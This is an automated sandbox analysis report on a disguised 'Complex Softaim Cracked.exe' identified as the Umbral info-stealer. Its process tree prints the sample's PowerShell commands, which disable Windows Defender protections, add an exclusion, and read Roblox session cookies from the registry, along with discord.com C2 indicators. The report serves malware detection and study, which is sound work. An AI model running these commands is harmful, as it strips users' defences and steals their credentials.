umbral | b9d84636a9359f58b03287d8e8db195c45d6557b02f657073144707db483f001

Resubmissions

29-06-2024 16:53

240629-vd8x8s1fqg 10

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
29-06-2024 16:53

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General

Target

Complex Softaim Cracked.exe
Size

293KB
MD5

6dad101a84200598ebab60f17bee37a4
SHA1

41e48f77329c1ce4cf165de9008bdf790af6947a
SHA256

174e2a9c2a37b2650d9a10421b880572cbd5a87440eb77b85398be00c2228a24
SHA512

00cbe80d83c8512dfa474f1c6e7bd85f8207748cb1ffc2c3cfa3a28cc551096add77af722283557e8cdc398d0bc9c551d0f9f0d19b6efb5356bc0e0611155201
SSDEEP

6144:GloZMFrIkd8g+EtXHkv/iD4UaIH+n9GuBk0dP6aPcQb8e1mviI:woZOL+EP8UaIH+n9GuBk0dP6aP1tI

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral3/memory/1700-1-0x0000000000B90000-0x0000000000BE0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2672	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1844	wmic.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1700	Complex Softaim Cracked.exe
2672	powershell.exe
2556	powershell.exe
2560	powershell.exe
2836	powershell.exe
1432	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1700	Complex Softaim Cracked.exe
Token: SeIncreaseQuotaPrivilege	2404	wmic.exe
Token: SeSecurityPrivilege	2404	wmic.exe
Token: SeTakeOwnershipPrivilege	2404	wmic.exe
Token: SeLoadDriverPrivilege	2404	wmic.exe
Token: SeSystemProfilePrivilege	2404	wmic.exe
Token: SeSystemtimePrivilege	2404	wmic.exe
Token: SeProfSingleProcessPrivilege	2404	wmic.exe
Token: SeIncBasePriorityPrivilege	2404	wmic.exe
Token: SeCreatePagefilePrivilege	2404	wmic.exe
Token: SeBackupPrivilege	2404	wmic.exe
Token: SeRestorePrivilege	2404	wmic.exe
Token: SeShutdownPrivilege	2404	wmic.exe
Token: SeDebugPrivilege	2404	wmic.exe
Token: SeSystemEnvironmentPrivilege	2404	wmic.exe
Token: SeRemoteShutdownPrivilege	2404	wmic.exe
Token: SeUndockPrivilege	2404	wmic.exe
Token: SeManageVolumePrivilege	2404	wmic.exe
Token: 33	2404	wmic.exe
Token: 34	2404	wmic.exe
Token: 35	2404	wmic.exe
Token: SeIncreaseQuotaPrivilege	2404	wmic.exe
Token: SeSecurityPrivilege	2404	wmic.exe
Token: SeTakeOwnershipPrivilege	2404	wmic.exe
Token: SeLoadDriverPrivilege	2404	wmic.exe
Token: SeSystemProfilePrivilege	2404	wmic.exe
Token: SeSystemtimePrivilege	2404	wmic.exe
Token: SeProfSingleProcessPrivilege	2404	wmic.exe
Token: SeIncBasePriorityPrivilege	2404	wmic.exe
Token: SeCreatePagefilePrivilege	2404	wmic.exe
Token: SeBackupPrivilege	2404	wmic.exe
Token: SeRestorePrivilege	2404	wmic.exe
Token: SeShutdownPrivilege	2404	wmic.exe
Token: SeDebugPrivilege	2404	wmic.exe
Token: SeSystemEnvironmentPrivilege	2404	wmic.exe
Token: SeRemoteShutdownPrivilege	2404	wmic.exe
Token: SeUndockPrivilege	2404	wmic.exe
Token: SeManageVolumePrivilege	2404	wmic.exe
Token: 33	2404	wmic.exe
Token: 34	2404	wmic.exe
Token: 35	2404	wmic.exe
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeIncreaseQuotaPrivilege	2636	wmic.exe
Token: SeSecurityPrivilege	2636	wmic.exe
Token: SeTakeOwnershipPrivilege	2636	wmic.exe
Token: SeLoadDriverPrivilege	2636	wmic.exe
Token: SeSystemProfilePrivilege	2636	wmic.exe
Token: SeSystemtimePrivilege	2636	wmic.exe
Token: SeProfSingleProcessPrivilege	2636	wmic.exe
Token: SeIncBasePriorityPrivilege	2636	wmic.exe
Token: SeCreatePagefilePrivilege	2636	wmic.exe
Token: SeBackupPrivilege	2636	wmic.exe
Token: SeRestorePrivilege	2636	wmic.exe
Token: SeShutdownPrivilege	2636	wmic.exe
Token: SeDebugPrivilege	2636	wmic.exe
Token: SeSystemEnvironmentPrivilege	2636	wmic.exe
Token: SeRemoteShutdownPrivilege	2636	wmic.exe
Token: SeUndockPrivilege	2636	wmic.exe
Token: SeManageVolumePrivilege	2636	wmic.exe
Token: 33	2636	wmic.exe
Token: 34	2636	wmic.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 2404	1700	Complex Softaim Cracked.exe	28
PID 1700 wrote to memory of 2404	1700	Complex Softaim Cracked.exe	28
PID 1700 wrote to memory of 2404	1700	Complex Softaim Cracked.exe	28
PID 1700 wrote to memory of 2672	1700	Complex Softaim Cracked.exe	31
PID 1700 wrote to memory of 2672	1700	Complex Softaim Cracked.exe	31
PID 1700 wrote to memory of 2672	1700	Complex Softaim Cracked.exe	31
PID 1700 wrote to memory of 2556	1700	Complex Softaim Cracked.exe	33
PID 1700 wrote to memory of 2556	1700	Complex Softaim Cracked.exe	33
PID 1700 wrote to memory of 2556	1700	Complex Softaim Cracked.exe	33
PID 1700 wrote to memory of 2560	1700	Complex Softaim Cracked.exe	35
PID 1700 wrote to memory of 2560	1700	Complex Softaim Cracked.exe	35
PID 1700 wrote to memory of 2560	1700	Complex Softaim Cracked.exe	35
PID 1700 wrote to memory of 2836	1700	Complex Softaim Cracked.exe	37
PID 1700 wrote to memory of 2836	1700	Complex Softaim Cracked.exe	37
PID 1700 wrote to memory of 2836	1700	Complex Softaim Cracked.exe	37
PID 1700 wrote to memory of 2636	1700	Complex Softaim Cracked.exe	39
PID 1700 wrote to memory of 2636	1700	Complex Softaim Cracked.exe	39
PID 1700 wrote to memory of 2636	1700	Complex Softaim Cracked.exe	39
PID 1700 wrote to memory of 2344	1700	Complex Softaim Cracked.exe	41
PID 1700 wrote to memory of 2344	1700	Complex Softaim Cracked.exe	41
PID 1700 wrote to memory of 2344	1700	Complex Softaim Cracked.exe	41
PID 1700 wrote to memory of 1620	1700	Complex Softaim Cracked.exe	43
PID 1700 wrote to memory of 1620	1700	Complex Softaim Cracked.exe	43
PID 1700 wrote to memory of 1620	1700	Complex Softaim Cracked.exe	43
PID 1700 wrote to memory of 1432	1700	Complex Softaim Cracked.exe	45
PID 1700 wrote to memory of 1432	1700	Complex Softaim Cracked.exe	45
PID 1700 wrote to memory of 1432	1700	Complex Softaim Cracked.exe	45
PID 1700 wrote to memory of 1844	1700	Complex Softaim Cracked.exe	47
PID 1700 wrote to memory of 1844	1700	Complex Softaim Cracked.exe	47
PID 1700 wrote to memory of 1844	1700	Complex Softaim Cracked.exe	47

C:\Users\Admin\AppData\Local\Temp\Complex Softaim Cracked.exe
"C:\Users\Admin\AppData\Local\Temp\Complex Softaim Cracked.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Complex Softaim Cracked.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2556
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2344
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1432
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0545ce14b271c01f8e8b92d6ab07b298

SHA1
f35938707c6749085dcfef817ceaba823fbc81f0

SHA256
b13a52383c598d425eacc05d54ddb427274431566b3b897f1d2b94d2a08c4f0a

SHA512
763804edbc15da75f5a7b524ee6415496b266d8811eca1c04b4f6a115c33dd2f55016f1df4657004d064889ab9fe94753fecde1c78e4b4d7b24b39247bc5ef34

Download Submit
memory/1432-41-0x0000000002670000-0x0000000002678000-memory.dmp

Filesize
32KB

Download
memory/1700-0-0x000007FEF4EB3000-0x000007FEF4EB4000-memory.dmp

Filesize
4KB

Download
memory/1700-1-0x0000000000B90000-0x0000000000BE0000-memory.dmp

Filesize
320KB

Download
memory/1700-2-0x000007FEF4EB0000-0x000007FEF589C000-memory.dmp

Filesize
9.9MB

Download
memory/1700-45-0x000007FEF4EB0000-0x000007FEF589C000-memory.dmp

Filesize
9.9MB

Download
memory/2556-14-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2556-15-0x0000000002670000-0x0000000002678000-memory.dmp

Filesize
32KB

Download
memory/2672-7-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2672-8-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download